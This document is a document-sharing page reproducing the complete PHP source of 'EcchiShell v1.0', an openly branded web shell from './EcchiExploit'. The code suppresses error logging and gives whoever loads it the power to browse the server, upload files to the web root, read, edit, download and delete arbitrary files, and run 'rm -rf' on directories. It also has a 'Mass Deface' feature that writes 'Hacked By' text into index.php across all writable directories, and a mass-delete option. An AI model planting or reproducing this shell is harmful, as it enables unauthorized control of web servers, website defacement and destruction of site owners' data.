Ke Mend Agri

Download as txt, pdf, or txt
Download as txt, pdf, or txt
You are on page 1of 15

<?

php
set_time_limit(0);
@clearstatcache();
@error_reporting(0);
@ini_set('max_execution_time', 0);
@ini_set('output_buffering', 0);
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('display_errors', 0);

if (isset($_GET['dir'])) {
$dir = htmlspecialchars($_GET['dir']);
chdir($dir);
} else {
$dir = getcwd();
}

if (version_compare(PHP_VERSION, '5.3.0', '<')) {


@set_magic_quotes_runtime(0);
} else {
ini_set('magic_quotes_runtime', 0);
}

if (version_compare(PHP_VERSION, '7.4.0', '<')) {


if (get_magic_quotes_gpc()) {
function ecchi($array)
{
return is_array($array) ? array_map('ecchi', $array) :
stripslashes($array);
}
$_POST = ecchi($_POST);
}
}

$dir = str_replace("\\", "/", $dir);


$scdir = explode("/", $dir);
$scandir = scandir($dir);
$disable = @ini_get('disable_functions');
$disable = (!empty($disable)) ? $disable : 'NONE';
$os = substr(strtoupper(PHP_OS), 0, 3) === "WIN" ? "Windows" : "Linux";

function w($dir, $perm)


{
if (!is_writable($dir)) {
return "<p class='text-danger'>" . $perm . "</p>";
} else {
return "<p class='text-warning'>" . $perm . "</p>";
}
}

function r($dir, $perm)


{
if (!is_readable($dir)) {
return "<p class='text-danger'>" . $perm . "</p>";
} else {
return "<p class='text-warning'>" . $perm . "</p>";
}
}
function massdeface($dir, $file, $filename, $type = null)
{
$scandir = scandir($dir);
foreach ($scandir as $dir_) {
$path = "$dir/$dir_";
$location = "$path/$filename";
if ($dir_ === "." || $dir_ === "..") {
file_put_contents($location, $file);
} else {
if (is_dir($path) and is_writable($path)) {
echo $location . PHP_EOL;
file_put_contents($location, $file);
if ($type === "-alldir") {
massdeface($path, $file, $filename, "-alldir");
}
}
}
}
}

function massdelete($dir, $filename)


{
$scandir = scandir($dir);
foreach ($scandir as $dir_) {
$path = "$dir/$dir_";
$location = "$path/$filename";
if ($dir_ === '.') {
if (file_exists("$dir/$filename")) {
unlink("$dir/$filename");
}
} elseif ($dir_ === '..') {
if (file_exists(dirname($dir) . "/$filename")) {
unlink(dirname($dir) . "/$filename");
}
} else {
if (is_dir($path) and is_writable($path)) {
if (file_exists($location)) {
print "[ DELETED ] " . $location . PHP_EOL;
unlink($location);
massdelete($path, $filename);
}
}
}
}
}

function perms($file)
{
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms &
0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms &
0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms &
0x0200) ? 'T' : '-'));
return $info;
}

function getfile($dir, $file, $label)


{
?>
<label for="<?= $label ?>" class="font-weight-bold">
Filename : <span class="text-secondary"><?= basename($file) ?></span>
[ <a class="text-white" href="?act=view&dir=<?= "$dir&file=" . $file ?
>">view</a> ]
[ <a class="text-white" href="?act=edit&dir=<?= "$dir&file=" . $file ?
>"><b>edit</b></a> ]
[ <a class="text-white" href="?act=rename&dir=<?= "$dir&file=" . $file ?
>">rename</a> ]
[ <a class="text-white" href="?act=download&dir=<?= "$dir&file=" . $file ?
>">download</a> ]
[ <a class="text-white" href="?act=delete&dir=<?= "$dir&file=" . $file ?
>">delete</a> ]
</label>
<?php
}
?>
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="keywords" content="ecchiexploit">
<meta name="description" content="Priv Shell">
<link rel="icon"
href="https://1.bp.blogspot.com/-Q4FzNb_oemU/XZ_a4WzmgNI/AAAAAAAAAZg/
udnrGlkAkV0NYh-rDTC-VB64rimuu5VtQCK4BGAYYCw/s1600/IMG-20190901-WA0263.jpg"
type="image/png">
<link rel="stylesheet"
href="https://pro.fontawesome.com/releases/v5.10.0/css/all.css" integrity="sha384-
AYmEC3Yw5cVb3ZcuHtOA93w35dYTsvhLPVnYs9eStHfGJvOvKxVfELGroGkvsg+p"
crossorigin="anonymous" />
<link rel="stylesheet"
href="https://cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css"
integrity="sha384-B0vP5xmATw1+K9KRQjQERJvTumQW0nPEzvF6L/Z6nronJ3oUOFUFpCjEUQouq2+l"
crossorigin="anonymous">
<title>EcchiShell v1.0</title>
</head>

<style>
#btn-back-to-top {
position: fixed;
bottom: 20px;
right: 20px;
display: none;
}
</style>

<body class="bg-info">
<nav class="navbar navbar-expand-md bg-dark navbar-dark">
<a class="navbar-brand" href="<?= $_SERVER['PHP_SELF'] ?>">
<img src="https://1.bp.blogspot.com/-Q4FzNb_oemU/XZ_a4WzmgNI/AAAAAAAAAZg/
udnrGlkAkV0NYh-rDTC-VB64rimuu5VtQCK4BGAYYCw/s1600/IMG-20190901-WA0263.jpg"
alt="logo" style="width: 150px">
</a>
<button class="navbar-toggler" data-toggle="collapse" data-
target="#collapsibleNavbar" aria-controls="collapsibleNavbar" aria-expanded="false"
aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>

<div class="collapse navbar-collapse" id="collapsibleNavbar">


<ul class="navbar-nav">
<li class="nav-item">
<button class="btn btn-outline-secondary border-0">
<a class="nav-link" href="<?= "?dir=$dir&opt=upload" ?>">Upload
File</a>
</button>
</li>
<li>
<button class="btn btn-outline-secondary border-0">
<a class="nav-link" data-toggle="collapse" href="#info"
role="button" aria-expanded="false" aria-controls="info">System Info</a>
</button>
</li>
<li>
<button class="btn btn-outline-secondary border-0">
<a class="nav-link" href="<?= "?dir=$dir&opt=mass" ?>">Mass
Deface</a>
</button>
</li>
</ul>
</div>
</nav>
<div class="container">
<div class="row justify-content-center mt-5">
<div class="md-4">
<label for="dir" class="font-weight-bold text-dark">You In Here
:</label>
<?php
foreach ($scdir as $c_dir => $cdir) {
echo "<a class='font-weight-bold text-warning' id='dir' href='?
dir=";
for ($i = 0; $i <= $c_dir; $i++) {
echo $scdir[$i];
if ($i != $c_dir) {
echo "/";
}
}
echo "'>$cdir</a>/";
}
?>
<div class="collapse multi-collapse p-3" id="info">
<div class="card card-body">
<p class="font-weight-bold text-info">OS : <span class="text-
dark"><?= $os ?></p>
<p class="font-weight-bold text-info">PHP Version : <span
class="text-dark"><?= PHP_VERSION ?></p>
<p class="font-weight-bold text-info">Software : <span
class="text-dark"><?= $_SERVER['SERVER_SOFTWARE'] ?></p>
<p class="font-weight-bold text-info">Information System : <span
class="text-dark"><?= php_uname() ?></p>
<p class="font-weight-bold text-info">Disable Function : <span
class="text-dark text-wrap"><?= $disable ?></span></p>
</div>
</div>
<button type="button" class="btn btn-danger btn-floating btn-lg"
id="btn-back-to-top" role="button">
<i class="fas fa-chevron-up"></i>
</button>
</div>
</div>
<?php
if ($_GET['opt'] == 'upload') {
$act = 'Chose File To Upload!!';
if ($_POST['upload']) {
if ($_POST['type_upload'] == 'noroot') {
if (@copy($_FILES['ecchifile']['tmp_name'], "$dir/" .
$_FILES['ecchifile']['name'])) {
$act = "Uploaded! at <i><b>$dir/" . $_FILES['ecchifile']
['name'] . "</b></i>";
} else {
$act = "failed to upload file";
}
} else {
$root = $_SERVER['DOCUMENT_ROOT'] . "/" . $_FILES['ecchifile']
['name'];
$web = $_SERVER['HTTP_HOST'] . "/" . $_FILES['ecchifile']['name'];

if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
if (@copy($_FILES['file']['tmp_name'], $root)) {
$act = "Uploaded! at <i><b>$root -> </b></i><a
href='http://$web' target='_blank'>$web</a>";
} else {
$act = "failed to upload file";
}
}
}
}
?>
<div class="container p-2">
<div class="row justify-content-center mt-0">
<div class="md-4">
<div class="card text-center bg-white border-0">
<div class="header">
<h5>Upload File</h5>
</div>
<div class="card-body bg-dark text-white">
<form method="POST" enctype="multipart/form-data">
<div class="form-check form-check-inline">
<input type="radio" name="type_upload" value="noroot"
class="form-check-input" id="noroot" checked>
<label class="form-check-label" for="noroot">noroot
<?= w($dir, "Writeable") ?></label>
</div>
<div class="form-check form-check-inline">
<input type="radio" name="type_upload" value="root"
class="form-check-input" id="root">
<label class="form-check-label" for="root">root <?=
w($_SERVER['DOCUMENT_ROOT'], "Writeable") ?></label>
</div>
<div class="row form-group mx-lg-n5">
<input type="file" name="ecchifile" class="col form-
control-file py-3 px-lg-5">
</div>
<div class="form-group">
<input type="submit" id="upload" name="upload"
class="btn btn-outline-primary form-control" value="Submit">
</div>
<div class="alert alert-info alert-dismissible fade
show" role="alert">
<p class="text-wrap"><?= $act ?></>
<button type="button" class="close" data-
dismiss="alert" aria-label="Close">
<span aria-hidden="true">&times;</span>
</button>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
<?php
} else if ($_GET['opt'] == 'mass') {
if ($_POST['mass_type'] === 'singledir') {
?>
<div class="form-group">
<textarea class="form-control"><?= massdeface($_POST['d_dir'],
$_POST['script'], $_POST['d_file']); ?></textarea>
</div>
<?php
} elseif ($_POST['mass_type'] === 'alldir') {
?>
<div class="form-group">
<textarea class="form-control" rows="5"><?=
massdeface($_POST['d_dir'], $_POST['script'], $_POST['d_file'], "-alldir")
?></textarea>
</div>
<?php
} elseif ($_POST['mass_type'] === "delete") {
?>
<div class="form-group">
<textarea class="form-control" rows="5"><?=
massdelete($_POST['d_dir'], $_POST['d_file']); ?></textarea>
</div>
<?php
}
?>
<form method="POST">
<div class="form-group">
<div class="mb-3">
<div class="input-group is-invalid">
<div class="input-group-prepend">
<label class="input-group-text"
for="filname">Filename</label>
</div>
<input class="form-control" type="text" name="d_file"
id="filname" value="index.php" placeholder="Filename" spellcheck="false">
</div>
</div>
</div>
<div class="form-group">
<div class="mb-3">
<div class="input-group is-invalid">
<div class="input-group-prepend">
<label class="input-group-text" for="dir">Directory</label>
</div>
<input class="form-control" type="text" name="d_dir" id="dir"
value="<?= $dir ?>" placeholder="Filename">
</div>
</div>
</div>
<div class="form-group">
<div class="mb-3">
<textarea class="form-control" name="script" placeholder="Hacked
By ./EcchiExploit" rows="5"></textarea>
</div>
</div>
<div class="form-group">
<div class="mb-3">
<div class="input-group is-invalid">
<div class="input-group-prepend">
<label class="input-group-text" for="tipemass">Type
Mass</label>
</div>
<select class="custom-select" name="mass_type" id="tipemass"
required>
<option value="">Choose...</option>
<option value="singledir">Single Dir</option>
<option value="alldir">ALL Dir</option>
<option value="delete">Mass Delete</option>
</select>
<div class="invalid-feedback">
Please Chose...
</div>
</div>
</div>
</div>
<div class="form-group">
<button type="submit" class="btn btn-light
form-control">Submit</button>
</div>
</form>
<?php
}
if (isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] ==
'download')) {
@ob_clean();
$file = $_GET['file'];
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file) .
'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
} else if ($_GET['act'] == 'edit') {
$act = 'file not save';
if ($_POST['src']) {
$save = file_put_contents($_GET['file'], $_POST['src']);
if ($save) {
$act = "Saved!";
} else {
$act = "permission denied";
}
}
?>
<form method="POST">
<div class="form-group">
<?= getfile($dir, $_GET['file'], 'textarea') ?>
<textarea class="form-control bg-dark text-danger border-0"
spellcheck="false" name="src" id="textarea" rows="10"><?=
htmlspecialchars(@file_get_contents($_GET['file'])) ?></textarea>
</div>
<div class="form-group">
<button type="submit" class="btn btn-light
form-control">Save</button>
</div>
<div class="alert alert-info alert-dismissible fade show" role="alert">
<strong><?= $act ?></strong>
<button type="button" class="close" data-dismiss="alert" aria-
label="Close">
<span aria-hidden="true">&times;</span>
</button>
</div>
</form>
<?php
} else if ($_GET['act'] == 'rename') {
$act = 'Rename File';
if ($_POST['rename']) {
$rename = rename($_GET['file'], "$dir/" .
htmlspecialchars($_POST['rename']));
if ($rename) {
$act = "<script>window.location='?dir=" . $dir . "';</script>";
} else {
$act = "permission denied";
}
}
?>
<form method="POST">
<div class="form-group">
<?= getfile($dir, $_GET['file'], 'rename') ?>
<input id="rename" type="text" name="rename" class="form-control bg-
dark text-danger border-0" value="<?= basename($_GET['file']) ?>">
</div>
<div class="form-group">
<button class="btn btn-light form-control">Rename</button>
</div>
<div class="alert alert-info alert-dismissible fade show" role="alert">
<strong><?= $act ?></strong>
<button type="button" class="close" data-dismiss="alert" aria-
label="Close">
<span aria-hidden="true">&times;</span>
</button>
</div>
</form>
<?php
} else if ($_GET['act'] == 'rename_dir') {
$act = 'Rename Directory';
if ($_POST['rename_dir']) {
$dir_rename = rename($dir, "" . dirname($dir) . "/" .
htmlspecialchars($_POST['rename_dir']) . "");
if ($dir_rename) {
$act = "Rename Dir Success<script>window.location='?dir=" .
dirname($dir) . "';</script>";
} else {
$act = "permission denied";
}
}
?>
<form method="POST">
<div class="form-group">
<input name="rename_dir" type="text" class="form-control bg-dark
text-danger border-0" value="<?= basename($dir) ?>">
</div>
<div class="form-group">
<button class="btn btn-light form-control">Rename</button>
</div>
<div class="alert alert-info alert-dismissible fade show" role="alert">
<strong><?= $act ?></strong>
<button type="button" class="close" data-dismiss="alert" aria-
label="Close">
<span aria-hidden="true">&times;</span>
</button>
</div>
</form>
<?php
} else if ($_GET['act'] == 'delete_dir') {
if (is_dir($dir)) {
if (is_writable($dir)) {
@rmdir($dir);
@exec("rm -rf $dir");
@exec("rmdir /s /q $dir");
$act = "Delete Success<script>window.location='?dir=" .
dirname($dir) . "';</script>";
} else {
$act = "could not remove " . basename($dir);
}
}
?>
<div class="alert alert-info alert-dismissible fade show" role="alert">
<strong><?= $act ?></strong>
<button type="button" class="close" data-dismiss="alert" aria-
label="Close">
<span aria-hidden="true">&times;</span>
</button>
</div>
<?php
} else if ($_GET['act'] == 'delete') {
$delete = unlink($_GET['file']);
if ($delete) {
$act = "Success Delete File<script>window.location='?dir=" . $dir .
"';</script>";
} else {
$act = "permission denied";
}
?>
<div class="alert alert-info alert-dismissible fade show" role="alert">
<strong><?= $act ?></strong>
<button type="button" class="close" data-dismiss="alert" aria-
label="Close">
<span aria-hidden="true">&times;</span>
</button>
</div>
<?php
} else if ($_GET['act'] == 'newfolder') {
$act = 'Create New Folder';
if ($_POST['new_folder']) {
$newfolder = $dir . '/' . htmlspecialchars($_POST['new_folder']);
if (!mkdir($newfolder)) {
$act = "permission denied";
} else {
$act = "Success Create Folder<script>window.location='?dir=" .
$dir . "';</script>";
}
}
?>
<form method="POST">
<div class="form-group">
<input type="text" name="new_folder" class="form-control"
placeholder="name folder" required>
</div>
<div class="form-group">
<button type="submit" class="btn btn-light
form-control">Submit</button>
</div>
<div class="alert alert-info alert-dismissible fade show" role="alert">
<strong><?= $act ?></strong>
<button type="button" class="close" data-dismiss="alert" aria-
label="Close">
<span aria-hidden="true">&times;</span>
</button>
</div>
</form>
<?php
} else if ($_GET['act'] == 'newfile') {
$act = 'Create New File';
if ($_POST['new_file']) {
$newfile = htmlspecialchars($_POST['new_file']);
$fopen = fopen($newfile, "a+");
if ($fopen) {
$act = "Success Create File<script>window.location='?
act=edit&dir=" . $dir . "&file=" . $_POST['new_file'] . "';</script>";
} else {
$act = "permission denied";
}
}
?>
<form method="POST">
<div class="form-group">
<input type="text" name="new_file" class="form-control"
placeholder="name file" value="<?= "$dir/newfile.php" ?>" required>
</div>
<div class="form-group">
<button type="submit" class="btn btn-light
form-control">Submit</button>
</div>
<div class="alert alert-info alert-dismissible fade show" role="alert">
<strong><?= $act ?></strong>
<button type="button" class="close" data-dismiss="alert" aria-
label="Close">
<span aria-hidden="true">&times;</span>
</button>
</div>
</form>
<?php
} else if ($_GET['act'] == 'view') {
?>
<div class="form-group">
<?= getfile($dir, $_GET['file'], 'file') ?>
<textarea class="form-control bg-dark text-danger border-0" id="file"
rows="5" readonly><?= htmlspecialchars(@file_get_contents($_GET['file']))
?></textarea>
</div>
<?php
}
if (is_dir($dir) == true) {
if (!is_readable($dir)) {
echo "<p class='font-weight-bold text-danger'>can't open directory.
( not readable )</p>";
} else {
?>
<div class="table-responsive">
<table class="table table-bordered table-striped table-hover">
<thead class="thead-dark text-center">
<tr>
<th>Name</th>
<th>Filetype</th>
<th>Perm</th>
<th>Option</th>
</tr>
</thead>
<tbody class="font-weight-bold border-dark">
<?php
foreach ($scandir as $direc) {
$dtype = filetype("$dir/$direc");
if ($direc === '..') {
$href = "<a class='text-white' href='?dir=" .
dirname($dir) . "'>$direc</a>";
} elseif ($direc === '.') {
$href = "<a class='text-white' href='?
dir=$dir'>$direc</a>";
} else {
$href = "<a class='text-white'
href='?dir=$dir/$direc'>$direc</a>";
}
if ($direc === '.' || $direc === '..') {
$act_dir = "<a class='text-decoration-none text-dark'
href='?act=newfile&dir=$dir'>newfile</a> | <a class='text-decoration-none text-
dark' href='?act=newfolder&dir=$dir'>newfolder</a>";
} else {
$act_dir = "<a class='text-decoration-none text-dark'
href='?act=rename_dir&dir=$dir/$direc'>rename</a> | <a class='text-decoration-none
text-dark' href='?act=delete_dir&dir=$dir/$direc'>delete</a>";
}
if (!is_dir("$dir/$direc")) continue;
?>
<tr>
<td class="border-dark">
<i class="far fa-folder"></i>
<?= $href ?>
</td>
<td class="border-dark"><?= $dtype ?></td>
<td class="border-dark"><?= w("$dir/$direc",
perms("$dir/$direc")) ?></td>
<td class="border-dark text-danger"><?= $act_dir ?></td>
</tr>
<?php
}
}
} else {
echo "<p class='font-weight-bold text-danger'>can't open
directory.</p>";
}
foreach ($scandir as $file) {
$ftype = filetype("$dir/$file");
if (!is_file("$dir/$file")) continue;
?>
<tr>
<td class="border-dark">
<i class="far fa-file-code"></i>
<a class="text-white" href="?act=view&dir=<?=
"$dir&file=$dir/$file" ?>"><?= $file ?></a>
</td>
<td class="border-dark"><?= $ftype ?></td>
<td class="border-dark"><?= w("$dir/$file",
perms("$dir/$file")) ?></td>
<td class="text-danger border-dark">
<a class="text-decoration-none text-dark" href="?
act=edit&dir=<?= "$dir&file=$dir/$file" ?>">edit</a> |
<a class="text-decoration-none text-dark" href="?
act=rename&dir=<?= "$dir&file=$dir/$file" ?>">rename</a> |
<a class="text-decoration-none text-dark" href="?
act=delete&dir=<?= "$dir&file=$dir/$file" ?>">delete</a> |
<a class="text-decoration-none text-dark" href="?
act=download&dir=<?= "$dir&file=$dir/$file" ?>">download</a>
</td>
</tr>
<?php
}
?>
</tbody>
</table>
</div>
<div class="jumbotron text-center bg-dark" style="margin-bottom:0">
<h4 class="font-weight-bold text-white">./EcchiExploit <span
class="text-info">Copyright &copy; <?= date("Y") ?></span></h4>
<h3 class="mb-3">
<a target="_blank" href="https://github.com/dmzhari/">
<i class="fab fa-github"></i>
</a>
<a target="_blank" href="https://ecchiexploit.blogger.com/">
<i class="fab fa-blogger"></i>
</a>
<a target="_blank"
href="https://www.youtube.com/channel/UCRq0YSk2gU6YFKsk8ZdVeGQ">
<i class="fab fa-youtube"></i>
</a>
<a target="_blank" href="https://facebook.com/dmz.hari.9">
<i class="fab fa-facebook"></i>
</a>
<a target="_blank" href="https://twitter.com/harigrimorum990">
<i class="fab fa-twitter-square"></i>
</a>
<a target="_blank" href="https://wa.me/+6283822080039">
<i class="fab fa-whatsapp-square"></i>
</a>
</h3>
<button type="button" class="btn btn-info btn-lg" data-
toggle="collapse" data-target="#thanks" aria-controls="thanks">Thanks To</button>
<div class="collapse multi-collapse p-3" id="thanks">
<button type="button" class="btn btn-info" data-toggle="modal"
data-target="#team">MyTeam</button>
<button type="button" class="btn btn-info" data-toggle="modal"
data-target="#friend">My Friend</button>
</div>
<div id="team" class="modal fade" role="dialog">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<h4 class="modal-title">Team</h4>
<button type="button" class="close" data-
dismiss="modal">&times;</button>
</div>
<div class="modal-body">
<p>Manusia Biasa Team</p>
<p>BHI OFFICIAL</p>
<p>Dark 3xploit Cyber</p>
<p>2Easy 4Hack Team</p>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-default" data-
dismiss="modal">Close</button>
</div>
</div>
</div>
</div>
<div id="friend" class="modal fade" role="dialog">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<h4 class="modal-title">My Friend</h4>
<button type="button" class="close" data-
dismiss="modal">&times;</button>
</div>
<div class="modal-body">
<p class="text-wrap">
Omest - Wildan - Arifsyn - Accil - Rapeler - Colt -
Rijal - Batu - Didi - Dwi - Riy - Talia
</p>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-default" data-
dismiss="modal">Close</button>
</div>
</div>
</div>
</div>
</div>
<script type="text/javascript">
let mybutton = document.getElementById("btn-back-to-top");

window.onscroll = function() {
scrollFunction();
};

function scrollFunction() {
if (
document.body.scrollTop > 20 ||
document.documentElement.scrollTop > 20
) {
mybutton.style.display = "block";
} else {
mybutton.style.display = "none";
}
}
mybutton.addEventListener("click", backToTop);

function backToTop() {
document.body.scrollTop = 0;
document.documentElement.scrollTop = 0;
}
</script>
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"
integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj"
crossorigin="anonymous"></script>
<script
src="https://cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/js/bootstrap.bundle.min.js"
integrity="sha384-Piv4xVNRyMGpqkS2by6br4gNJ7DXjqk09RmUpJ8jgGtD7zP9yug3goQfGII0yAns"
crossorigin="anonymous"></script>
</body>

</html>

You might also like